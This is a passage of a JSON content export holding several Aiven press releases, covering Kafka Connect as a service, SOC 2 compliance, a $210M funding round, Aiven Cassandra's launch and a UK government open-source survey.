[https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"mzKKSdWd","_type":"block","children":[{"_key":"12a241a15696","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — September 11, 2019-"},{"_key":"ZIo45JBv","_type":"span","marks":["m3875742048231"],"text":"Aiven"},{"_key":"bX4dc9fI","_type":"span","marks":[],"text":", a leading cloud technology startup providing a portfolio of managed database and stream processing products, announced today the company will now offer Apache Kafka Connect as a service. Featuring enhanced extensibility, Aiven’s Kafka Connect will allow customers to define and configure connectors that reliably and scalably stream data between different systems."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"qnF72wjH","_type":"block","children":[{"_key":"rz4qoHex","_type":"span","marks":[],"text":"Aiven for Apache Kafka currently supports over 20 open-source Apache Kafka Connect connectors, the most of any managed service provider. Aiven’s Apache Kafka platform is an essential component of a scalable, low-latency data pipeline due to its ability to stream messages between various systems. The platform accomplishes this by utilizing Kafka Connect to integrate with those systems."}],"markDefs":[],"style":"normal"},{"_key":"0szlV3t3","_type":"block","children":[{"_key":"4nk5hVYz","_type":"span","marks":[],"text":"As a component of Apache Kafka, Apache Kafka Connect provides customers with a standard application programming interface for integration without the hassle of handling maintenance. Through supporting Kafka Connect, Aiven makes easy integration between systems possible and trivial to set up."}],"markDefs":[],"style":"normal"},{"_key":"nKf5XjFF","_type":"block","children":[{"_key":"Z4kZhxuG","_type":"span","marks":[],"text":"By integrating Apache Kafka Connect as a Service, businesses will be able to run the connector as a standalone process or as a distributed, fault-tolerant service supporting an entire organization - allowing each channel to scale and work independently."}],"markDefs":[],"style":"normal"},{"_key":"xmFDZJBz","_type":"block","children":[{"_key":"JUms793K","_type":"span","marks":[],"text":"Aiven’s Apache Kafka Connect Service will allow organizations to scale up to a large, centrally managed service supporting an entire organization or scale down to development, testing, and small production deployments."}],"markDefs":[],"style":"normal"},{"_key":"a9nbBqfR","_type":"block","children":[{"_key":"kh4BNgi0","_type":"span","marks":[],"text":"“Organizations are constantly looking for ways to leverage and extend existing connectors to manage data and decrease time to production,” said Oskari Saarenmaa, CEO of Aiven. “In the past, customers needed to run larger Aiven for Apache Kafka plans to be able to use Apache Kafka Connect, which wasn't optimal. By providing Apache Kafka Connect as a service, users will be able to scale Kafka Connect separately and see more consistent, higher performance from their primary Kafka workloads.”"}],"markDefs":[],"style":"normal"},{"_key":"O6Li2TkR","_type":"block","children":[{"_key":"v5rkPuKX","_type":"span","marks":[],"text":"In addition, Apache Kafka Connect offers automatic offset management. Harnessing small amounts of information from connectors, Apache Kafka Connect can manage the offset commit process automatically."}],"markDefs":[],"style":"normal"},{"_key":"Ucn11xWB","_type":"block","children":[{"_key":"bS2iUshM","_type":"span","marks":[],"text":"This allows businesses to focus on their operations without being concerned with this error prone part of connector development. By managing all aspects of Apache Kafka Connect, Aiven will enable businesses to scale down, from development to testing, with a low barrier to entry and low operational overhead."}],"markDefs":[],"style":"normal"},{"_key":"D1ZN20fK","_type":"block","children":[{"_key":"RFgZslBK","_type":"span","marks":[],"text":"“At Aiven, we strive to offer new services and platforms to provide unmatched support and offer a digestible, easy-to-use experience,” noted Saarenmaa. “We are thrilled to be the first to offer Apache Kafka Connect as a separate service.”"}],"markDefs":[],"style":"normal"},{"_key":"ewEdi8lN","_type":"block","children":[{"_key":"xV0dgz0C","_type":"span","marks":[],"text":"To learn more about Apache Kafka Connect, visit "},{"_key":"9VzGx0Ag","_type":"span","marks":["m3354951073646"],"text":"https://aiven.io/kafka"},{"_key":"Eh7KtoFg","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3354951073646","_type":"link","href":"https://aiven.io/kafka"}],"style":"normal"},{"_key":"70TPPOp2","_type":"block","children":[{"_key":"w64CtCzZ","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"w2ucSuhZ","_type":"block","children":[{"_key":"csUFj90h","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, Berlin, and Sydney, Aiven is an ISO 27001 certified, SOC 2 compliant cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"K7WYfYkP","_type":"block","children":[{"_key":"cJ2eH7p5","_type":"span","marks":[],"text":"You can visit "},{"_key":"43L8TZQQ","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"em53fmMN","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"vjGVzdNP","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"RhSJ8mIx","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2019-09-11T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: We now offer Apache Kafka Connect as a service to make it easier to integrate Aiven for Apache Kafka into your data infrastructure.","metaTitle":"Aiven releases Apache Kafka Connect as a Service"},"slug":{"_type":"slug","current":"/press/aiven-releases-kafka-connect-as-a-service"},"subtitle":"Aiven Press Release: We now offer Apache Kafka Connect as a service to make it easier to integrate Aiven for Apache Kafka into your data infrastructure.","title":"Aiven releases Apache Kafka Connect as a Service"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"7npkqgyQ7GmshxU90RRsDt","_rev":"ElrRHx5al3kb1PwLXGfk4d","_type":"pressRelease","_updatedAt":"2022-12-02T11:49:22Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io), a leading cloud technology startup providing a portfolio of managed database and stream processing products, today announced its Service Organization Control (SOC) 2 compliant status.\n\nInformation Security is a priority for all organizations, including those that utilize third-party vendors to operate key business functions. Developed by the American Institute of Certified Public Accountants (AICPA), SOC 2 requires companies to establish and adhere to strict information security policies and procedures, including the security, availability, processing, integrity, and privacy of customer data. Externally verified SOC 2 compliance ensures that your providers meet this standard and securely manage and protect your data.\n\n“Aiven customers’ information security is our number one priority,” said Aiven CTO Heikki Nousiainen. “Our compliance with SOC 2’s security standards is a testament of our commitment to information security posture, policies and processes, and ultimately, it will help our customers to meet their own security and compliance requirements.”\n\nAiven also holds ISO 27001:2013 certification for its information security management system. The SOC 2 audit process was a natural continuation of Aiven’s ongoing information security management efforts.\n\n“Both SOC 2 and ISO 27001 requires suppliers to ensure security requirements and demands expected by the end customer are met,” added Nousianinen. “We're happy to showcase we can meet the industry’s highest security standards, and continue ensuring best-in-class information security for our customers.”\n\nFor more information about Aiven’s security and compliance certifications, please visit [https://aiven.io/security-compliance](https://aiven.io/security-compliance).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, Berlin, and Sydney. Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"qSFfbRRf","_type":"block","children":[{"_key":"6e69d9924167","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — October 10, 2019-"},{"_key":"TyRtv9ag","_type":"span","marks":["m3875742048231"],"text":"Aiven"},{"_key":"G6Af27f7","_type":"span","marks":[],"text":", a leading cloud technology startup providing a portfolio of managed database and stream processing products, today announced its Service Organization Control (SOC) 2 compliant status."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"7MIUnb88","_type":"block","children":[{"_key":"E65CLo6T","_type":"span","marks":[],"text":"Information Security is a priority for all organizations, including those that utilize third-party vendors to operate key business functions. Developed by the American Institute of Certified Public Accountants (AICPA), SOC 2 requires companies to establish and adhere to strict information security policies and procedures, including the security, availability, processing, integrity, and privacy of customer data. Externally verified SOC 2 compliance ensures that your providers meet this standard and securely manage and protect your data."}],"markDefs":[],"style":"normal"},{"_key":"vz7ma7ts","_type":"block","children":[{"_key":"x02mXldG","_type":"span","marks":[],"text":"“Aiven customers’ information security is our number one priority,” said Aiven CTO Heikki Nousiainen. “Our compliance with SOC 2’s security standards is a testament of our commitment to information security posture, policies and processes, and ultimately, it will help our customers to meet their own security and compliance requirements.”"}],"markDefs":[],"style":"normal"},{"_key":"O9mBRSs3","_type":"block","children":[{"_key":"EU8WwYos","_type":"span","marks":[],"text":"Aiven also holds ISO 27001:2013 certification for its information security management system. The SOC 2 audit process was a natural continuation of Aiven’s ongoing information security management efforts."}],"markDefs":[],"style":"normal"},{"_key":"NDiXRLpQ","_type":"block","children":[{"_key":"F0hRkX8i","_type":"span","marks":[],"text":"“Both SOC 2 and ISO 27001 requires suppliers to ensure security requirements and demands expected by the end customer are met,” added Nousianinen. “We're happy to showcase we can meet the industry’s highest security standards, and continue ensuring best-in-class information security for our customers.”"}],"markDefs":[],"style":"normal"},{"_key":"s6Ipcndb","_type":"block","children":[{"_key":"fGTSHUgS","_type":"span","marks":[],"text":"For more information about Aiven’s security and compliance certifications, please visit "},{"_key":"r7pHAEr1","_type":"span","marks":["m14664967079406"],"text":"https://aiven.io/security-compliance"},{"_key":"oaHiHnyx","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m14664967079406","_type":"link","href":"https://aiven.io/security-compliance"}],"style":"normal"},{"_key":"94SFA6z5","_type":"block","children":[{"_key":"JWo3uETq","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"pJRfcLg2","_type":"block","children":[{"_key":"5iwA5XVm","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, Berlin, and Sydney. Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"PV2JuLv5","_type":"block","children":[{"_key":"px5SKxzy","_type":"span","marks":[],"text":"You can visit "},{"_key":"5gITXlAR","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"MZTbSQxu","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"VU0UI6p1","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"9qsXonaY","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2019-10-10T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: In October 2019, Aiven announced its Service Organization Control (SOC) 2 compliant status.","metaTitle":"Aiven achieves SOC 2 compliance"},"slug":{"_type":"slug","current":"/press/aiven-achieves-soc2-compliance"},"subtitle":"Aiven Press Release: In October 2019, Aiven announced its Service Organization Control (SOC) 2 compliant status.","title":"Aiven achieves SOC 2 compliance"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"1J2k62rVHznTj2cIWEH4Bd","_rev":"fuFsKkOoAJwNVpPrIJwLwg","_type":"pressRelease","_updatedAt":"2022-12-07T13:40:23Z","content":[{"_key":"j1NPgr0Q","_type":"block","children":[{"_key":"G1LzMnCx","_type":"span","marks":["em"],"text":"With its most recent funding round, Aiven plans to build on its mission to make developers lives better by establishing a global sustainability and social impact program"}],"markDefs":[],"style":"normal"},{"_key":"bjL832Qa","_type":"block","children":[{"_key":"zixzHQMJ","_type":"span","marks":["strong"],"text":"HELSINKI, Finland - May 11, 2022"},{"_key":"R3NZ3wTw","_type":"span","marks":[],"text":" — "},{"_key":"yOZEr6VW","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"6Mble0CD","_type":"span","marks":[],"text":", a software company that combines the best open source technologies with cloud infrastructure, today announced it raised $210M in its Series D at a pre-money valuation of $3B. The round was led by Eurazeo, and joined by funds and accounts managed by BlackRock as well as existing investors IVP, Atomico, Earlybird, World Innovation Lab and Salesforce Ventures."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"uZTufU3x","_type":"block","children":[{"_key":"RIpAyFuE","_type":"span","marks":[],"text":"The company has increased its headcount by more than 65% since October 2021 and aims to use the new funding to continue its international expansion, reaching beyond its newest hubs in Japan, Singapore and New Zealand, to other parts of the Asia-Pacific and Latin America regions. Aiven looks to double its current number of employees in 2022 to help develop new platform capabilities and launch a global sustainability program, with the goal of enabling collective action within the Aiven community to build more sustainable applications in the cloud."}],"markDefs":[],"style":"normal"},{"_key":"v9tyIXLy","_type":"block","children":[{"_key":"wqO0WpSY","_type":"span","marks":[],"text":"Following last year’s initiatives, including the establishment of a formal "},{"_key":"r0tW9OkI","_type":"span","marks":["m12930016802876"],"text":"Open Source Program Office"},{"_key":"jwyj6Hnc","_type":"span","marks":[],"text":" and the launch of Aiven’s startup program, "},{"_key":"6tcWNWFB","_type":"span","marks":["m1900822063714"],"text":"Cluster"},{"_key":"ZJH2HbQn","_type":"span","marks":[],"text":", the company is committed to further democratizing access to best-of-breed data technologies, reducing the environmental impact of cloud services and increasing diversity and inclusion at Aiven and in the tech industry more broadly."}],"markDefs":[{"_key":"m12930016802876","_type":"link","href":"https://aiven.io/blog/open-source-program-office-at-aiven-a-year-later"},{"_key":"m1900822063714","_type":"link","href":"https://aiven.io/cluster"}],"style":"normal"},{"_key":"AfG0fwc6","_type":"block","children":[{"_key":"Q2lnADxL","_type":"span","marks":[],"text":"“Aiven’s mission is to make developers’ lives better, to help them build better applications,” said Oskari Saarenmaa, CEO and co-founder at Aiven. “Further investing in supporting open, community driven development of software and sustainable use of cloud services is a natural extension of what we value and have always wanted to achieve with Aiven.”"}],"markDefs":[],"style":"normal"},{"_key":"gYaz9mnp","_type":"block","children":[{"_key":"kYH96EXy","_type":"span","marks":[],"text":"“Aiven is a prime showcase of a European-born champion on a trajectory of global category leadership. Its differentiated platform approach truly caters to the developer community by democratizing access to open-source technologies hosted on any cloud. The company has seen rapid adoption by customers across all sizes and industries with a demonstrated track record of product-led growth,” said Zoé Fabian, Managing Director at Eurazeo - Growth. “Sustainability is a key part of our investment thesis at Eurazeo and seeing Aiven being committed to combining a stellar financial profile with sustainability further strengthened our high conviction on embarking on the joint journey with Aiven to build the go-to platform for developers.”"}],"markDefs":[],"style":"normal"},{"_key":"rCac5qSi","_type":"block","children":[{"_key":"FzbRbgAU","_type":"span","marks":[],"text":"For more information on Aiven, visit "},{"_key":"9JuEYtU5","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io/"},{"_key":"7UeWiFAJ","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"vMBFGDvC","_type":"block","children":[{"_key":"k3L994IZ","_type":"span","marks":["strong"],"text":"About Aiven:"}],"markDefs":[],"style":"normal"},{"_key":"9flHP5sX","_type":"block","children":[{"_key":"lk6RDwt6","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Sydney, Singapore, and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. To learn more about Aiven, visit "},{"_key":"LOns8qOQ","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"yj9JDQHk","_type":"span","marks":[],"text":" and follow "},{"_key":"PeBa3vdt","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"eOENoY63","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"CFJmY96W","_type":"block","children":[{"_key":"x7xEgeI8","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"222JKS3R","_type":"block","children":[{"_key":"HuJZjSvy","_type":"span","marks":[],"text":"Megan Gasper - Walker Sands - megan.gasper@walkersands.com"}],"markDefs":[],"style":"normal"},{"_key":"I61TfAgM","_type":"block","children":[{"_key":"QDxiVyjQ","_type":"span","marks":[],"text":"Emma Paajanen - VP Marketing, Aiven - emma@aiven.io"}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-05-11T00:00:00.000Z","seo":{"metaDescription":"With its most recent funding round, Aiven plans to build on its mission to make developers lives better by establishing a global sustainability and social impact program","metaTitle":"Aiven Raises $210M to Invest in Sustainable Open Source Cloud"},"slug":{"_type":"slug","current":"/press/Aiven-raises-210M-to-invest-in-sustainable-open-source-cloud"},"subtitle":"With its most recent funding round, Aiven plans to build on its mission to make developers lives better by establishing a global sustainability and social impact program","title":"Aiven raises $210M to invest in sustainable open source cloud"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"10qDirwKNbVkl6TZmLmtC1","_rev":"YKkjAGOOflKrRktUkAOXH0","_type":"pressRelease","_updatedAt":"2022-12-02T11:36:13Z","body":"__Helsinki, Finland__\n\nAiven Cassandra is now generally available, marking Aiven’s 7th open-source service. Aiven selected Cassandra as its next service because of the demand for a distributable NoSQL database with tunable consistency.\n\nHeikki Nousiainen, Chief Technical Officer, offers more detail on the decision to offer Cassandra, \"Apache Cassandra was a common request amongst Aiven users, and we’re happy to answer that demand. Cassandra is the most popular wide column store out there, and now with Aiven, you can unleash its power without worrying about the operational burden.\"\n\nAiven initially launched Cassandra as an open Beta program to better understand customer requirements and build in the necessary features that would render the service suitable for production environments. These features include continuous repairs, automated backups and capabilities for plan adjustments and cloud migrations.\n\nThe service is available in three standard plan sizes with varying levels of compute and storage resources. Although their standard plans account for most use cases, Aiven also offers custom plans that require greater scale.\n\nAiven Cassandra is available in Amazon Web Services (AWS), Google Cloud Platform (GCP), Microsoft Azure, DigitalOcean, and UpCloud in 74 regions—the largest geographic coverage of any Cassandra as a Service provider.\n\nAs with all Aiven managed cloud services, users can launch Aiven Cassandra from the Aiven UI in the cloud and region of their choice within a few minutes. Additionally, it can be managed from Aiven’s REST API or command line client.\n\nVisit the [Aiven Cassandra page](https://aiven.io/cassandra) for more information and to sign up for a free, no-commitment trial.\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"5BKyHEL7","_type":"block","children":[{"_key":"0138a300c0cb","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — November 8, 2018- "},{"_key":"YuWBTn37","_type":"span","marks":[],"text":"Aiven Cassandra is now generally available, marking Aiven’s 7th open-source service. Aiven selected Cassandra as its next service because of the demand for a distributable NoSQL database with tunable consistency."}],"markDefs":[],"style":"normal"},{"_key":"HbEQn2L9","_type":"block","children":[{"_key":"jL4HFJR0","_type":"span","marks":[],"text":"Heikki Nousiainen, Chief Technical Officer, offers more detail on the decision to offer Cassandra, \"Apache Cassandra was a common request amongst Aiven users, and we’re happy to answer that demand. Cassandra is the most popular wide column store out there, and now with Aiven, you can unleash its power without worrying about the operational burden.\""}],"markDefs":[],"style":"normal"},{"_key":"5aUNlDHs","_type":"block","children":[{"_key":"T1tp68m6","_type":"span","marks":[],"text":"Aiven initially launched Cassandra as an open Beta program to better understand customer requirements and build in the necessary features that would render the service suitable for production environments. These features include continuous repairs, automated backups and capabilities for plan adjustments and cloud migrations."}],"markDefs":[],"style":"normal"},{"_key":"Mardu6wc","_type":"block","children":[{"_key":"Xq9WOLtd","_type":"span","marks":[],"text":"The service is available in three standard plan sizes with varying levels of compute and storage resources. Although their standard plans account for most use cases, Aiven also offers custom plans that require greater scale."}],"markDefs":[],"style":"normal"},{"_key":"FCLT2x0B","_type":"block","children":[{"_key":"rI1OvWHw","_type":"span","marks":[],"text":"Aiven Cassandra is available in Amazon Web Services (AWS), Google Cloud Platform (GCP), Microsoft Azure, DigitalOcean, and UpCloud in 74 regions—the largest geographic coverage of any Cassandra as a Service provider."}],"markDefs":[],"style":"normal"},{"_key":"1sar7Crg","_type":"block","children":[{"_key":"suK64rNk","_type":"span","marks":[],"text":"As with all Aiven managed cloud services, users can launch Aiven Cassandra from the Aiven UI in the cloud and region of their choice within a few minutes. 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{"__i18n_lang":"en","_createdAt":"2022-09-07T06:43:43Z","_id":"2lMnEqt0idAFCxWjNS0HIx","_rev":"WCxK3EcVhP1U4hck0XVQna","_type":"pressRelease","_updatedAt":"2022-12-07T13:39:25Z","content":[{"_key":"27Rj7PQM","_type":"block","children":[{"_key":"xXYhWqU8","_type":"span","marks":["em"],"text":"UK Government has committed to being more open and using open source technologies, but Aiven’s research finds there’s a long way to go"}],"markDefs":[],"style":"normal"},{"_key":"BqMZaodl","_type":"block","children":[{"_key":"d6qr9wp7","_type":"span","marks":["strong"],"text":"HELSINKI, Finland, LONDON, United Kingdom, 4 July 2022"},{"_key":"3f5b8bb60311","_type":"span","marks":[],"text":" - "},{"_key":"3cMXX4Jx","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"fersPzl5","_type":"span","marks":[],"text":", a leading technology company combining the best open source streaming and data management technologies with cloud infrastructure, today announced the results of its survey into the use of open source technology in the UK government. It found that 71% of UK government tech workers report the Government is now using more open source software compared to five years ago, yet over a third (38%) still don’t use any open source software in their department."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"8IgPV3Tw","_type":"block","children":[{"_key":"BiYkSxri","_type":"span","marks":[],"text":"The UK Government has committed to being more open and using open source. "},{"_key":"CIAHhBCa","_type":"span","marks":["m6301754298471"],"text":"The Technology Code of Practice"},{"_key":"VFrsIJnC","_type":"span","marks":[],"text":", published in July 2021 by the Central Digital and Data Office encourages technology projects or programmes to “publish your code and use open source software to improve transparency, flexibility and accountability”."}],"markDefs":[{"_key":"m6301754298471","_type":"link","href":"https://www.gov.uk/guidance/the-technology-code-of-practice#be-open-and-use-open-source"}],"style":"normal"},{"_key":"eLWwA1nj","_type":"block","children":[{"_key":"5lbFRYjw","_type":"span","marks":[],"text":"Government Digital Service (GDS), which like the Central Digital and Data Office is a unit of the UK Government’s Cabinet Office, is an example of this progressive approach to open source. GDS, an "},{"_key":"ErSMCBSx","_type":"span","marks":["m520292500957"],"text":"Aiven customer"},{"_key":"tzoaZWVo","_type":"span","marks":[],"text":", is a vision for a digital government and the realisation of “government as a platform.” It’s based around a common core of shared digital systems, technology, and processes on which it’s easy to build user-centric government services. Its open ethos has led to the department hosting over 1,500 repositories on its "},{"_key":"IN3v9qk2","_type":"span","marks":["m6004227064629"],"text":"GitHub page"},{"_key":"FJd2hFSr","_type":"span","marks":[],"text":", the most of any government department or agency."}],"markDefs":[{"_key":"m520292500957","_type":"link","href":"https://aiven.io/blog/aiven-for-opensearch-was-chosen-for-gov-uk-customer-story"},{"_key":"m6004227064629","_type":"link","href":"https://github.com/alphagov"}],"style":"normal"},{"_key":"80ux5z9W","_type":"block","children":[{"_key":"Z3zXyCG1","_type":"span","marks":[],"text":"The challenge is expanding GDS’s progressive approach to open source to a wider range of government departments."}],"markDefs":[],"style":"normal"},{"_key":"GOxcFy3z","_type":"block","children":[{"_key":"hxzu9oJO","_type":"span","marks":[],"text":"The research found that although 62% of departments are using open source software, only 10% have fully open-sourced their code like GDS. 22% of departments publish some of their code, and the rest (30%) use open source but don’t publish their codebase."}],"markDefs":[],"style":"normal"},{"_key":"KH7XfMw9","_type":"block","children":[{"_key":"oDZCYqgP","_type":"span","marks":[],"text":"However, there are good reasons to use open source, and these are well understood by the Government."}],"markDefs":[],"style":"normal"},{"_key":"2FsgenKx","_type":"block","children":[{"_key":"zfiWL8Qr","_type":"span","marks":["strong"],"text":"Open Source doesn’t just deliver savings, it helps with recruitment"}],"markDefs":[],"style":"normal"},{"_key":"Su8DMt8w","_type":"block","children":[{"_key":"yd30bxzd","_type":"span","marks":[],"text":"One of the benefits of using open source within government includes but is not limited to the savings made on licensing costs, with the research finding that open source also has a big role to play in recruiting and retaining talent. Three quarters (75%) of respondents reported that using open source will help the UK government to hire more developers and software engineers."}],"markDefs":[],"style":"normal"},{"_key":"db5NTrzz","_type":"block","children":[{"_key":"iRLBInEJ","_type":"span","marks":[],"text":"When asked why it would help, the top reasons for this were found to be:"}],"markDefs":[],"style":"normal"},{"_key":"ddCzHInu","_type":"block","children":[{"_key":"CFBdH5fO","_type":"span","marks":[],"text":"Developers have visibility of the types of projects they’ll be working on even at the interview stage (by being able to see it on GitHub) – 65%"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bs1mBtAx","_type":"block","children":[{"_key":"zEVqrSKW","_type":"span","marks":[],"text":"Developers feel more confident the code base is clean and well documented when they start – 52%"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"jO0OXDn6","_type":"block","children":[{"_key":"c7Uh52ra","_type":"span","marks":[],"text":"Developers are proud of their work and want to share it – 51%"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ig3KOOrX","_type":"block","children":[{"_key":"3ED01eIY","_type":"span","marks":[],"text":"Developers like having “open source contributor” on their CV for future career prospects – 44%"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"w4WMTnr5","_type":"block","children":[{"_key":"Kl8WVV6X","_type":"span","marks":[],"text":"Heikki Nousiainen, CTO of Aiven commented, “The UK Government is clearly committed to open source. Not only is it more cost-effective and secure, but our research found that it’s also a great way to recruit and retain talent. In a competitive market, open source software means engineers can peek under the covers and see the types of projects they’ll be working on”."}],"markDefs":[],"style":"normal"},{"_key":"eAiR6vSH","_type":"block","children":[{"_key":"UrZaAxB9","_type":"span","marks":[],"text":"“Working with Government Digital Service (GDS), we’ve directly seen the potential for open source in the public sector. The GOV.UK PaaS is a great example of how everyone from central government departments to local services like councils and fire departments can leverage non-proprietary code”."}],"markDefs":[],"style":"normal"},{"_key":"AQP9E9FR","_type":"block","children":[{"_key":"u1gd8Ye9","_type":"span","marks":[],"text":"“The challenge is that GDS is still in the minority amongst Government departments. There’s work to be done to get other branches to use and contribute to open source projects. But the benefits are clear – from collaboration to attracting talent, open source is the better way.”"}],"markDefs":[],"style":"normal"},{"_key":"5dDKezrm","_type":"block","children":[{"_key":"HOaKFRCQ","_type":"span","marks":["strong"],"text":"Notes to editor"},{"_key":"50sKBpwM","_type":"span","marks":[],"text":": Aiven surveyed 103 UK Government technology workers between 24 and 30 June 2022."}],"markDefs":[],"style":"normal"},{"_key":"7mIxi1ow","_type":"block","children":[{"_key":"cSbKTVJ5","_type":"span","marks":["strong"],"text":"About Aiven:"}],"markDefs":[],"style":"normal"},{"_key":"6BMCrWyU","_type":"block","children":[{"_key":"OLJdIbq4","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Toronto, Sydney, and Singapore, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard."}],"markDefs":[],"style":"normal"},{"_key":"l1eWtGnh","_type":"block","children":[{"_key":"2mIkMX4T","_type":"span","marks":[],"text":"Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, First Fellow, IVP, Lifeline Ventures, Salesforce Ventures ,World Innovation Lab, Eurazeo, and Blackrock. To learn more about Aiven, visit "},{"_key":"KMjGQc9x","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"l4ONZuw1","_type":"span","marks":[],"text":" and follow "},{"_key":"qArf9jTj","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"y8j69CEq","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2022-07-04T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Open Source Research: The UK government can greatly benefit from open source but over a third of its tech workers still don’t use it","metaTitle":"UK government benefit open source tech workers still don’t"},"slug":{"_type":"slug","current":"/press/open-source-research-uk-government"},"subtitle":"Open Source Research: The UK government can greatly benefit from open source but over a third of its tech workers still don’t use it","title":" Open source research: the UK government can greatly benefit from open source but over a third of its tech workers still don’t use it"}
